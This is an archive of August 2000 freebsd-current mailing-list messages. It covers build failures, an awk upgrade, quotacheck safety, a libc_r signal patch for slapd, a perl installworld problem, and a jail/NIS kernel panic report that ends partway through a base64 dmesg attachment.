hub.freebsd.org (Postfix) with ESMTP id D933137B84F for ; Tue, 15 Aug 2000 04:29:43 -0700 (PDT) (envelope-from sheldonh@axl.ops.uunet.co.za) Received: from sheldonh (helo=axl.ops.uunet.co.za) by axl.ops.uunet.co.za with local-esmtp (Exim 3.16 #1) id 13OeKh-0002W0-00 for current@FreeBSD.org; Tue, 15 Aug 2000 12:52:35 +0200 From: Sheldon Hearn To: current@FreeBSD.org Subject: HEADS UP: awk updated Date: Tue, 15 Aug 2000 12:52:35 +0200 Message-ID: <9671.966336755@axl.ops.uunet.co.za> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi folks, Just a quick note to warn folks that I bungled the awk upgrade a little. I upgraded it to gawk-3.0.6, which shouldn't cause people problems, but there was about a half-hour window, in which I got lost in the Attic, during which world would have been broken. If you wre unlucky enough to update your source during that time and world breaks for you in awk, please try updating your source and repeating your build attempt before reporting the problem to this list. Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Aug 15 8:47:29 2000 Delivered-To: freebsd-current@freebsd.org Received: from tom.interq.or.jp (tom.interq.or.jp [210.172.128.229]) by hub.freebsd.org (Postfix) with ESMTP id 6EB1F37B815 for ; Tue, 15 Aug 2000 08:47:26 -0700 (PDT) (envelope-from daniel@interq.or.jp) Received: from imap.interq.or.jp (imap.interq [210.157.0.31]) by tom.interq.or.jp (8.9.3/8.9.0/8.9.0/199808251233) with ESMTP id AAA00985 for ; Wed, 16 Aug 2000 00:47:25 +0900 (JST) Received: from localhost (daniel@localhost) by imap.interq.or.jp (8.9.1b+Sun/8.9.0/8.9.0/199808251233) with SMTP id AAA16712 for ; Wed, 16 Aug 2000 00:47:23 +0900 (JST) Date: Wed, 16 Aug 2000 00:47:23 +0900 (JST) From: daniel To: current@freebsd.org Subject: make buildworld failed Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am currently running 3.5-stable. I cvsuped -current from cvsup.jp.freebsd.org today and I got the following error while trying to make -j4 builworld c++ -I/usr/obj/resource/src/i386/usr/include/g++ -O -pipe -I/usr/obj/resource/src/i386/usr/include -I/resource/src/gnu/usr.bin/gperf/../../../contrib/gperf/lib -I/resource/src/gnu/usr.bin/gperf -c /resource/src/gnu/usr.bin/gperf/../../../contrib/gperf/src/new.cc /resource/src/gnu/usr.bin/gperf/../../../contrib/gperf/src/new.cc:80: warning: `catch', `throw', and `try' are all C++ reserved words /resource/src/gnu/usr.bin/gperf/../../../contrib/gperf/src/new.cc: In function `void operator delete(void *)': /resource/src/gnu/usr.bin/gperf/../../../contrib/gperf/src/new.cc:82: declaration of `operator delete(void *)' throws different exceptions... :82: ...from previous declaration here *** Error code 1 Stop. *** Error code 1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Aug 15 8:51:43 2000 Delivered-To: freebsd-current@freebsd.org Received: from web2.sea.nwserv.com (web2.sea.nwserv.com [216.145.16.2]) by hub.freebsd.org (Postfix) with ESMTP id 84B2137B815 for ; Tue, 15 Aug 2000 08:51:37 -0700 (PDT) (envelope-from dpk@nwserv.com) Received: from localhost (dpk@localhost) by web2.sea.nwserv.com (8.9.3/8.9.2) with ESMTP id IAA45249 for ; Tue, 15 Aug 2000 08:51:27 -0700 (PDT) (envelope-from dpk@nwserv.com) Date: Tue, 15 Aug 2000 08:51:27 -0700 (PDT) From: David Kirchner X-Sender: dpk@web2.sea.nwserv.com To: freebsd-current@freebsd.org Subject: quotacheck on a live filesystem; safe? (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Envelope-To: freebsd-current@freebsd.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I haven't had any confirmation of this message from -questions or -hackers, I was wondering if anyone here had any insights? ---------- Forwarded message ---------- Date: Wed, 9 Aug 2000 14:15:17 -0700 (PDT) From: David Kirchner To: freebsd-questions@FreeBSD.ORG Subject: quotacheck on a live filesystem; safe? Hi, I've been reading over source for quotacheck and ufs_quota.c and so far I have not found a reason why running quotacheck on a live filesystem would cause anything but inconsistencies in the quota.user file. Is this an incorrect belief? >From what I understand: the quota.user file is used as a storage for quota information between boots and by the various userland quota reporting utilities. The kernel maintains an idea of the quota in memory, and commits it to disk when necessary. If this is correct, then I could expect, at worst, someone's quota to be invalid if the machine crashes while quotacheck is running and their files are being modified? Thanks, David Kirchner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Aug 15 10:38:16 2000 Delivered-To: freebsd-current@freebsd.org Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (Postfix) with ESMTP id E115337BC14 for ; Tue, 15 Aug 2000 10:38:10 -0700 (PDT) (envelope-from terry@whistle.com) Received: from whistle.com (tlambert.whistle.com [207.76.205.208]) by alpo.whistle.com (8.9.1a/8.9.1) with ESMTP id KAA06554 for ; Tue, 15 Aug 2000 10:29:44 -0700 (PDT) Message-ID: <39997E08.E4DDBD5A@whistle.com> Date: Tue, 15 Aug 2000 10:29:44 -0700 From: Terry Lambert X-Mailer: Mozilla 4.06 [en] (Win95; I) MIME-Version: 1.0 To: current@freeBSD.org Subject: [Fwd: Killing slapd on FreeBSD 4.1] Content-Type: multipart/mixed; boundary="------------54F10D9C401C19F3D6F01784" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --------------54F10D9C401C19F3D6F01784 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Apparently, the threads library still hasn't been fixed? Follow the link for the patch. -- Terry -- x7110 --------------54F10D9C401C19F3D6F01784 Content-Type: message/rfc822 Content-Transfer-Encoding: 7bit Content-Disposition: inline Return-Path: Received: from whistle.com (whistle.whistle.com [207.76.205.131]) by alpo.whistle.com (8.9.1a/8.9.1) with ESMTP id MAA14042 for ; Mon, 14 Aug 2000 12:27:20 -0700 (PDT) Received: (from smap@localhost) by whistle.com (8.10.0/8.10.0) id e7EJRK412048 for ; Mon, 14 Aug 2000 12:27:20 -0700 (PDT) Received: from gatekeeper.whistle.com( 207.76.204.2) by whistle.com via smap (V2.0) id xma012045; Mon, 14 Aug 2000 12:27:13 -0700 Received: from galois.openldap.org (galois.openldap.org [204.152.186.51]) by gatekeeper.whistle.com (8.9.3/8.9.3) with ESMTP id MAA05415 for ; Mon, 14 Aug 2000 12:27:12 -0700 (PDT) (envelope-from owner-openldap-software@OpenLDAP.org) Received: from localhost (majordomo@localhost) by galois.openldap.org (8.10.0.Beta10/8.10.0.Beta10/OpenLDAP/Hub) with SMTP id e7EJO3P06418; Mon, 14 Aug 2000 19:24:03 GMT Received: by OpenLDAP.org (bulk_mailer v1.12); Mon, 14 Aug 2000 19:22:34 +0000 Received: from itsdsv1.enc.edu (fw1.enc.edu [63.85.52.127]) by galois.openldap.org (8.10.0.Beta10/8.10.0.Beta10/OpenLDAP/Hub) with ESMTP id e7EJMXn06362 for ; Mon, 14 Aug 2000 19:22:33 GMT Received: from enc.edu (r2s1.r.its.enc.edu [10.100.0.21]) by itsdsv1.enc.edu (8.7.5/8.7.3) with ESMTP id PAA17911; Mon, 14 Aug 2000 15:21:29 -0400 (EDT) Message-ID: <3998494C.DE07C9E9@enc.edu> Date: Mon, 14 Aug 2000 15:32:28 -0400 From: "Charles N. Owens" Organization: Eastern Nazarene College X-Mailer: Mozilla 4.61 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: Urban Lindberg CC: OpenLDAP-software Subject: Re: Killing slapd on FreeBSD 4.1 References: <39983740.59838475@systech.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-openldap-software@OpenLDAP.org Priority: non-urgent X-Loop: OpenLDAP Precedence: bulk Comment: OpenLDAP "openldap-software" Mailing List List-Archive: List-Help: (MLM help), (List Information) List-Unsubscribe: For discussion and patch, see: http://www.openldap.org/lists/openldap-software/200007/msg00205.html I imagine this will fix will make it into FreeBSD soon... There is also another band-aid patch floating around that hacks a workaround into OpenLDAP itself. cno Urban Lindberg wrote: > Hello > > I read about problem when using > kill -HUP slapd.pid > > Now I'm experiencing them myself. Has anyone heard anything new? > > I see I can kill it with > kill -QUIT slapd.pid > But that might not be a good idea? > > By the way How to stop slapd should be in the manpage for slapd!! > > Can anyone tell me how it is supposed to work? > > Bye for now > > /Urban -- ------------------------------------------------------------------------- Charles N. Owens Email: owensc@enc.edu http://www.enc.edu/~owensc Network & Systems Administrator Information Technology Services "Outside of a dog, a book is a man's Eastern Nazarene College best friend. Inside of a dog it's too dark to read." - Groucho Marx ------------------------------------------------------------------------- --------------54F10D9C401C19F3D6F01784-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Aug 15 10:47: 1 2000 Delivered-To: freebsd-current@freebsd.org Received: from axl.ops.uunet.co.za (axl.ops.uunet.co.za [196.31.2.163]) by hub.freebsd.org (Postfix) with ESMTP id 258F637B767 for ; Tue, 15 Aug 2000 10:46:54 -0700 (PDT) (envelope-from sheldonh@axl.ops.uunet.co.za) Received: from sheldonh (helo=axl.ops.uunet.co.za) by axl.ops.uunet.co.za with local-esmtp (Exim 3.16 #1) id 13OknA-0003NH-00; Tue, 15 Aug 2000 19:46:24 +0200 From: Sheldon Hearn To: David Kirchner Cc: freebsd-current@FreeBSD.ORG Subject: Re: quotacheck on a live filesystem; safe? (fwd) In-reply-to: Your message of "Tue, 15 Aug 2000 08:51:27 MST." Date: Tue, 15 Aug 2000 19:46:24 +0200 Message-ID: <12974.966361584@axl.ops.uunet.co.za> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 15 Aug 2000 08:51:27 MST, David Kirchner wrote: > I've been reading over source for quotacheck and ufs_quota.c and so far I > have not found a reason why running quotacheck on a live filesystem would > cause anything but inconsistencies in the quota.user file. > incorrect belief? That would certainly tie in with the last paragraph of the DESCRIPTION section of the quotacheck(8) manual page. Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Aug 15 10:57: 2 2000 Delivered-To: freebsd-current@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 1D44337B610 for ; Tue, 15 Aug 2000 10:57:00 -0700 (PDT) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id e7FHuxZ03141; Tue, 15 Aug 2000 10:56:59 -0700 (PDT) Date: Tue, 15 Aug 2000 10:56:59 -0700 From: Alfred Perlstein To: Terry Lambert Cc: current@FreeBSD.ORG Subject: Re: [Fwd: Killing slapd on FreeBSD 4.1] Message-ID: <20000815105658.A4854@fw.wintelcom.net> References: <39997E08.E4DDBD5A@whistle.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.4i In-Reply-To: <39997E08.E4DDBD5A@whistle.com>; from terry@whistle.com on Tue, Aug 15, 2000 at 10:29:44AM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Terry Lambert [000815 10:39] wrote: > Apparently, the threads library still hasn't been fixed? > > Follow the link for the patch. I'm testing the change now and I'll commit it soon. Index: Makefile =================================================================== RCS file: /home/ncvs/src/lib/libc_r/Makefile,v retrieving revision 1.27 diff -u -u -r1.27 Makefile --- Makefile 2000/08/07 16:51:55 1.27 +++ Makefile 2000/08/15 17:07:52 @@ -33,7 +33,7 @@ kevent.o listen.o \ msync.o nanosleep.o nfssvc.o open.o poll.o read.o readv.o recvfrom.o \ recvmsg.o sched_yield.o select.o sendfile.o sendmsg.o sendto.o \ - setsockopt.o shutdown.o sigaction.o sigaltstack.o \ + setsockopt.o shutdown.o sigaction.o sigaltstack.o signal.o \ signanosleep.o sigpending.o sigprocmask.o sigreturn.o sigsetmask.o \ sigsuspend.o socket.o \ socketpair.o wait4.o write.o writev.o thanks, -Alfred To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Aug 15 11:21:55 2000 Delivered-To: freebsd-current@freebsd.org Received: from gidora.zeta.org.au (gidora.zeta.org.au [203.26.10.25]) by hub.freebsd.org (Postfix) with SMTP id 4E83037B6BD for ; Tue, 15 Aug 2000 11:21:49 -0700 (PDT) (envelope-from bde@zeta.org.au) Received: (qmail 26209 invoked from network); 15 Aug 2000 18:21:43 -0000 Received: from unknown (HELO bde.zeta.org.au) (203.2.228.102) by gidora.zeta.org.au with SMTP; 15 Aug 2000 18:21:43 -0000 Date: Wed, 16 Aug 2000 04:21:38 +1000 (EST) From: Bruce Evans X-Sender: bde@besplex.bde.org To: Sheldon Hearn Cc: David Kirchner , freebsd-current@FreeBSD.ORG Subject: Re: quotacheck on a live filesystem; safe? (fwd) In-Reply-To: <12974.966361584@axl.ops.uunet.co.za> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 15 Aug 2000, Sheldon Hearn wrote: > On Tue, 15 Aug 2000 08:51:27 MST, David Kirchner wrote: > > > I've been reading over source for quotacheck and ufs_quota.c and so far I > > have not found a reason why running quotacheck on a live filesystem would > > cause anything but inconsistencies in the quota.user file. > > incorrect belief? I gained the same belief in the same way when someone (Mike Tansca?) asked about running quotacheck a year or two ago. > That would certainly tie in with the last paragraph of the DESCRIPTION > section of the quotacheck(8) manual page. My version says it even more certainly :-): diff -c2 quotacheck.8~ quotacheck.8 *** quotacheck.8~ Wed Aug 16 04:02:50 2000 --- quotacheck.8 Fri Mar 3 06:08:22 2000 *************** *** 138,143 **** accesses the raw device in calculating the actual disk usage for each user. ! Thus, the filesystems ! checked should be quiescent while .Nm is running. --- 138,144 ---- accesses the raw device in calculating the actual disk usage for each user. ! Thus, mounted filesystems can be checked, ! but the results may be garbage unless the ! filesystems are quiescent while .Nm is running. I meant to commit this after checking the details. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Aug 15 15:11:37 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns.internet.dk (ns.internet.dk [194.19.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 1189F37B9A8 for ; Tue, 15 Aug 2000 15:11:33 -0700 (PDT) (envelope-from leifn@neland.dk) Received: (from uucp@localhost) by ns.internet.dk (8.9.3/8.9.3) with UUCP id AAA76925 for freebsd-current@freebsd.org; Wed, 16 Aug 2000 00:11:30 +0200 (CEST) (envelope-from leifn@neland.dk) Received: from localhost (localhost [127.0.0.1]) by arnold.neland.dk (8.11.0/8.9.3) with ESMTP id e7FLI5544450 for ; Tue, 15 Aug 2000 23:18:05 +0200 (CEST) (envelope-from leifn@neland.dk) Date: Tue, 15 Aug 2000 23:18:00 +0200 (CEST) From: Leif Neland To: freebsd-current@freebsd.org Subject: Perl installworld trouble Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG When installing a current world on a month or so old current, installworld failed during install of perl. Under /usr/libdata/perl/5.6.0, I manually had to create these directories: IO/Socket auto/DB_File auto/GDBM_File auto/POSIX When I created those, installworld was able to continue. (I hope it finishes...) Leif To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Aug 15 16:12:42 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.telemere.net (mail.telemere.net [63.224.9.4]) by hub.freebsd.org (Postfix) with ESMTP id E36A237BAD1 for ; Tue, 15 Aug 2000 16:12:27 -0700 (PDT) (envelope-from visigoth@telemere.net) Received: by mail.telemere.net (Postfix, from userid 1001) id C081D20F02; Tue, 15 Aug 2000 18:15:45 -0500 (CDT) Received: from localhost (localhost [127.0.0.1]) by mail.telemere.net (Postfix) with ESMTP id BCC6D1D101 for ; Tue, 15 Aug 2000 18:15:45 -0500 (CDT) Date: Tue, 15 Aug 2000 18:15:41 -0500 (CDT) From: Visigoth To: current@freebsd.org Subject: Kernel explosion in -stable Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-863820600-966381341=:66538" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-863820600-966381341=:66538 Content-Type: TEXT/PLAIN; charset=US-ASCII -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Ok, first off I'm going to say that I know how weird the configuration that I am working with is, but hear me out, it is actually a useful config for what I am doing (if anyone knows any better ways to do this sort of thing, tell me ;) I have a dual homed 4.1-STABLE box being used as a shell server with NFS mounted mail spools and home dir's and NIS authentication all from a backside network. The problem is I don't want our (few) shell users to be able to even ping the NFS backnetwork so I am attempting to implement jail(8), but still need nis.... if I set the NON-jail-env (NJE) as an NIS server on the backnetwork, and and ypbind to localhost in the jail-env (JE) or in the NJE if I log into the JE as a local user and su to root I can successfully id users from the NIS databases (yea!) , if, as a normal user I try to id anybody, or if I try to log in to the JE as a user from the NIS database, the kernel dies with: Fatal trap 12: page fault while in kernel mode fault virtual address = 0x0 fault code = supervisor write, page not present instruction pointer = 0x8:0xc01af381 stack pointer = 0x10:0xd5732dd4 frame pointer = 0x10:0xd5732dd8 code segment = base 0x0, limit 0xfff, type 0xb1, DPL 0 = pres 1, def32 1, gran1 processor eflags = interupt enable, resume, DOPL 0 current process = 12 panic = page fault I would include a dump but there it doesn't make one... I attached a dmesg if that helps but I doubt it. I would like to at least fix this, even if it means my functionality doesn't work, I just thought a huge kernel fault like this should be taken care of. I would look into it, but I am only a junior wizard ;) I would be happy to do a bunch of the work if anyone is willing to point me in the right direction.... ;) Damieon Stark Sr. Unix Systems Administrator visigoth@telemere.net PGP Public Key: www.telemere.net/~visigoth/visigoth.asc ____________________________________________________________________________ | M$ -Where do you want to go today? | Linux -Where do you want to go tomorrow?| FreeBSD - The POWER to serve Freebsd -Are you guys coming or what? | http://www.freebsd.org | | - ---------------------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.1i iQA/AwUBOZnBEDnmC/+RTnGeEQKxOgCg+aU1cppRwWe9qHK9Qo9c9FF0gksAoNmJ SGcq+YhAXtFPtCdmcjs0i0ce =xqIA -----END PGP SIGNATURE----- --0-863820600-966381341=:66538 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="dmesg.txt" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="dmesg.txt" Q29weXJpZ2h0IChjKSAxOTkyLTIwMDAgVGhlIEZyZWVCU0QgUHJvamVjdC4N CkNvcHlyaWdodCAoYykgMTk3OSwgMTk4MCwgMTk4MywgMTk4NiwgMTk4OCwg MTk4OSwgMTk5MSwgMTk5MiwgMTk5MywgMTk5NA0KCVRoZSBSZWdlbnRzIG9m IHRoZSBVbml2ZXJzaXR5IG9mIENhbGlmb3JuaWEuIEFsbCByaWdodHMgcmVz ZXJ2ZWQuDQpGcmVlQlNEIDQuMS1TVEFCTEUgIzA6IFR1ZSBBdWcgMTUgMTM6 NTg6MjkgQ0RUIDIwMDANCiAgICB2aXNpZ290aEBqYWlsLnRlbGVtZXJlLm5l dDovdXNyL3NyYy9zeXMvY29tcGlsZS9KQUlMDQpUaW1lY291bnRlciAiaTgy NTQiICBmcmVxdWVuY3kgMTE5MzE4MiBIeg0KQ1BVOiBQZW50aXVtIElJSS9Q ZW50aXVtIElJSSBYZW9uL0NlbGVyb24gKDU1MC4wMS1NSHogNjg2LWNsYXNz IENQVSkNCiAgT3JpZ2luID0gIkdlbnVpbmVJbnRlbCIgIElkID0gMHg2NzMg IFN0ZXBwaW5nID0gMw0KICBGZWF0dXJlcz0weDM4N2ZiZmY8RlBVLFZNRSxE RSxQU0UsVFNDLE1TUixQQUUsTUNFLENYOCxBUElDLFNFUCxNVFJSLFBHRSxN Q0EsQ01PVixQQVQsUFNFMzYsUE4sTU1YLEZYU1IsWE1NPg0KcmVhbCBtZW1v cnkgID0gNTM2ODYyNzIwICg1MjQyODBLIGJ5dGVzKQ0KY29uZmlnPiBkaSBz bjANCk5vIHN1Y2ggZGV2aWNlOiBzbjANCkludmFsaWQgY29tbWFuZCBvciBz eW50YXguICBUeXBlIGA/JyBmb3IgaGVscC4NCmNvbmZpZz4gZGkgbG5jMA0K Tm8gc3VjaCBkZXZpY2U6IGxuYzANCkludmFsaWQgY29tbWFuZCBvciBzeW50 YXguICBUeXBlIGA/JyBmb3IgaGVscC4NCmNvbmZpZz4gZGkgbGUwDQpObyBz dWNoIGRldmljZTogbGUwDQpJbnZhbGlkIGNvbW1hbmQgb3Igc3ludGF4LiAg VHlwZSBgPycgZm9yIGhlbHAuDQpjb25maWc+IGRpIGllMA0KTm8gc3VjaCBk ZXZpY2U6IGllMA0KSW52YWxpZCBjb21tYW5kIG9yIHN5bnRheC4gIFR5cGUg YD8nIGZvciBoZWxwLg0KY29uZmlnPiBkaSBmZTANCk5vIHN1Y2ggZGV2aWNl OiBmZTANCkludmFsaWQgY29tbWFuZCBvciBzeW50YXguICBUeXBlIGA/JyBm b3IgaGVscC4NCmNvbmZpZz4gZGkgZWQwDQpObyBzdWNoIGRldmljZTogZWQw DQpJbnZhbGlkIGNvbW1hbmQgb3Igc3ludGF4LiAgVHlwZSBgPycgZm9yIGhl bHAuDQpjb25maWc+IGRpIGNzMA0KTm8gc3VjaCBkZXZpY2U6IGNzMA0KSW52 YWxpZCBjb21tYW5kIG9yIHN5bnRheC4gIFR5cGUgYD8nIGZvciBoZWxwLg0K Y29uZmlnPiBxDQphdmFpbCBtZW1vcnkgPSA1MTk0MjYwNDggKDUwNzI1Mksg Ynl0ZXMpDQpQcmVsb2FkZWQgZWxmIGtlcm5lbCAia2VybmVsIiBhdCAweGMw MzUyMDAwLg0KUHJlbG9hZGVkIHVzZXJjb25maWdfc2NyaXB0ICIvYm9vdC9r ZXJuZWwuY29uZiIgYXQgMHhjMDM1MjA5Yy4NClBlbnRpdW0gUHJvIE1UUlIg c3VwcG9ydCBlbmFibGVkDQptZDA6IE1hbGxvYyBkaXNrDQpucHgwOiA8bWF0 aCBwcm9jZXNzb3I+IG9uIG1vdGhlcmJvYXJkDQpucHgwOiBJTlQgMTYgaW50 ZXJmYWNlDQpwY2liMDogPEludGVsIDgyNDU0TlggUFhCIzAsIEJ1cyNBPiBv biBtb3RoZXJib2FyZA0KcGNpMDogPFBDSSBidXM+IG9uIHBjaWIwDQppc2Fi MDogPEludGVsIDgyMzcxQUIgUENJIHRvIElTQSBicmlkZ2U+IGF0IGRldmlj ZSAyLjAgb24gcGNpMA0KaXNhMDogPElTQSBidXM+IG9uIGlzYWIwDQpwY2kw OiA8SW50ZWwgUElJWDQgQVRBIGNvbnRyb2xsZXI+IGF0IDIuMQ0KcGNpMDog PEludGVsIDgyMzcxQUIvRUIgKFBJSVg0KSBVU0IgY29udHJvbGxlcj4gYXQg Mi4yIGlycSAwDQpjaGlwMDogPEludGVsIDgyMzcxQUIgUG93ZXIgbWFuYWdl bWVudCBjb250cm9sbGVyPiBwb3J0IDB4ODUwLTB4ODVmIGF0IGRldmljZSAy LjMgb24gcGNpMA0KcGNpMDogPEFUSSBNYWNoNjQtR0kgZ3JhcGhpY3MgYWNj ZWxlcmF0b3I+IGF0IDQuMA0KZnhwMDogPEludGVsIFBybyAxMC8xMDBCLzEw MCsgRXRoZXJuZXQ+IHBvcnQgMHhlOGMwLTB4ZThmZiBtZW0gMHhmZTcwMDAw MC0weGZlN2ZmZmZmLDB4ZmU5MDEwMDAtMHhmZTkwMWZmZiBpcnEgMTQgYXQg ZGV2aWNlIDYuMCBvbiBwY2kwDQpmeHAwOiBFdGhlcm5ldCBhZGRyZXNzIDAw OmQwOmI3OjJjOjM4OmU1DQpkcHQwOiA8RFBUIENhY2hpbmcgU0NTSSBSQUlE IENvbnRyb2xsZXI+IHBvcnQgMHhlOGEwLTB4ZThiZiBpcnEgMTEgYXQgZGV2 aWNlIDguMCBvbiBwY2kwDQpkcHQwOiBEUFQgUE0zMzM0VVcgRlcgUmV2LiAw N00wLCAxIGNoYW5uZWwsIDY0IENDQnMNCmZ4cDE6IDxJbnRlbCBQcm8gMTAv MTAwQi8xMDArIEV0aGVybmV0PiBwb3J0IDB4ZTg0MC0weGU4N2YgbWVtIDB4 ZmU2MDAwMDAtMHhmZTZmZmZmZiwweGZlOTAwMDAwLTB4ZmU5MDBmZmYgaXJx IDEwIGF0IGRldmljZSAxMC4wIG9uIHBjaTANCmZ4cDE6IEV0aGVybmV0IGFk ZHJlc3MgMDA6ZDA6Yjc6MmM6MjQ6ZjYNCnBjaWIzOiA8SW50ZWwgODI0NTRO WCBQQ0kgRXhwYW5kZXIgQnJpZGdlPiBhdCBkZXZpY2UgMTguMCBvbiBwY2kw DQpwY2liNDogPEludGVsIDgyNDU0TlggUENJIEV4cGFuZGVyIEJyaWRnZT4g YXQgZGV2aWNlIDE5LjAgb24gcGNpMA0KcGNpYjU6IDxJbnRlbCA4MjQ1NE5Y IFBDSSBFeHBhbmRlciBCcmlkZ2U+IGF0IGRldmljZSAyMC4wIG9uIHBjaTAN CnBjaWIxOiA8SW50ZWwgODI0NTROWCBQWEIjMCwgQnVzI0I+IG9uIG1vdGhl cmJvYXJkDQpwY2kxOiA8UENJIGJ1cz4gb24gcGNpYjENCmFoYzA6IDxBZGFw dGVjIGFpYzc4OTAvOTEgVWx0cmEyIFNDU0kgYWRhcHRlcj4gcG9ydCAweGZj MDAtMHhmY2ZmIG1lbSAweGZlYjAyMDAwLTB4ZmViMDJmZmYgaXJxIDUgYXQg ZGV2aWNlIDQuMCBvbiBwY2kxDQphaGMwOiBhaWM3ODkwLzkxIFdpZGUgQ2hh bm5lbCBBLCBTQ1NJIElkPTcsIDE2LzI1NSBTQ0JzDQphaGMxOiA8QWRhcHRl YyBhaWM3ODkwLzkxIFVsdHJhMiBTQ1NJIGFkYXB0ZXI+IHBvcnQgMHhmODAw LTB4ZjhmZiBtZW0gMHhmZWIwMTAwMC0weGZlYjAxZmZmIGlycSAxNCBhdCBk ZXZpY2UgNi4wIG9uIHBjaTENCmFoYzE6IGFpYzc4OTAvOTEgV2lkZSBDaGFu bmVsIEEsIFNDU0kgSWQ9NywgMTYvMjU1IFNDQnMNCmFoYzI6IDxBZGFwdGVj IGFpYzc4NjAgU0NTSSBhZGFwdGVyPiBwb3J0IDB4ZjQwMC0weGY0ZmYgbWVt IDB4ZmViMDAwMDAtMHhmZWIwMGZmZiBpcnEgMTQgYXQgZGV2aWNlIDguMCBv biBwY2kxDQphaGMyOiBhaWM3ODYwIFNpbmdsZSBDaGFubmVsIEEsIFNDU0kg SWQ9NywgMy8yNTUgU0NCcw0KcGNpYjI6IDxJbnRlbCA4MjQ1NE5YIFBYQiMx LCBCdXMjQT4gb24gbW90aGVyYm9hcmQNCnBjaTI6IDxQQ0kgYnVzPiBvbiBw Y2liMg0KZmRjMDogPE5FQyA3MjA2NUIgb3IgY2xvbmU+IGF0IHBvcnQgMHgz ZjAtMHgzZjUsMHgzZjcgaXJxIDYgZHJxIDIgb24gaXNhMA0KZmRjMDogRklG TyBlbmFibGVkLCA4IGJ5dGVzIHRocmVzaG9sZA0KZmQwOiA8MTQ0MC1LQiAz LjUiIGRyaXZlPiBvbiBmZGMwIGRyaXZlIDANCmF0a2JkYzA6IDxLZXlib2Fy ZCBjb250cm9sbGVyIChpODA0Mik+IGF0IHBvcnQgMHg2MCwweDY0IG9uIGlz YTANCmF0a2JkMDogPEFUIEtleWJvYXJkPiBmbGFncyAweDEgaXJxIDEgb24g YXRrYmRjMA0Ka2JkMCBhdCBhdGtiZDANCnBzbTA6IDxQUy8yIE1vdXNlPiBp cnEgMTIgb24gYXRrYmRjMA0KcHNtMDogbW9kZWwgR2VuZXJpYyBQUy8yIG1v dXNlLCBkZXZpY2UgSUQgMA0KdmdhMDogPEdlbmVyaWMgSVNBIFZHQT4gYXQg cG9ydCAweDNjMC0weDNkZiBpb21lbSAweGEwMDAwLTB4YmZmZmYgb24gaXNh MA0Kc2MwOiA8U3lzdGVtIGNvbnNvbGU+IGF0IGZsYWdzIDB4MTAwIG9uIGlz YTANCnNjMDogVkdBIDwxNiB2aXJ0dWFsIGNvbnNvbGVzLCBmbGFncz0weDMw MD4NCnNpbzAgYXQgcG9ydCAweDNmOC0weDNmZiBpcnEgNCBmbGFncyAweDEw IG9uIGlzYTANCnNpbzA6IHR5cGUgMTY1NTBBDQpzaW8xIGF0IHBvcnQgMHgy ZjgtMHgyZmYgaXJxIDMgb24gaXNhMA0Kc2lvMTogdHlwZSAxNjU1MEENCnBw YzA6IDxQYXJhbGxlbCBwb3J0PiBhdCBwb3J0IDB4Mzc4LTB4MzdmIGlycSA3 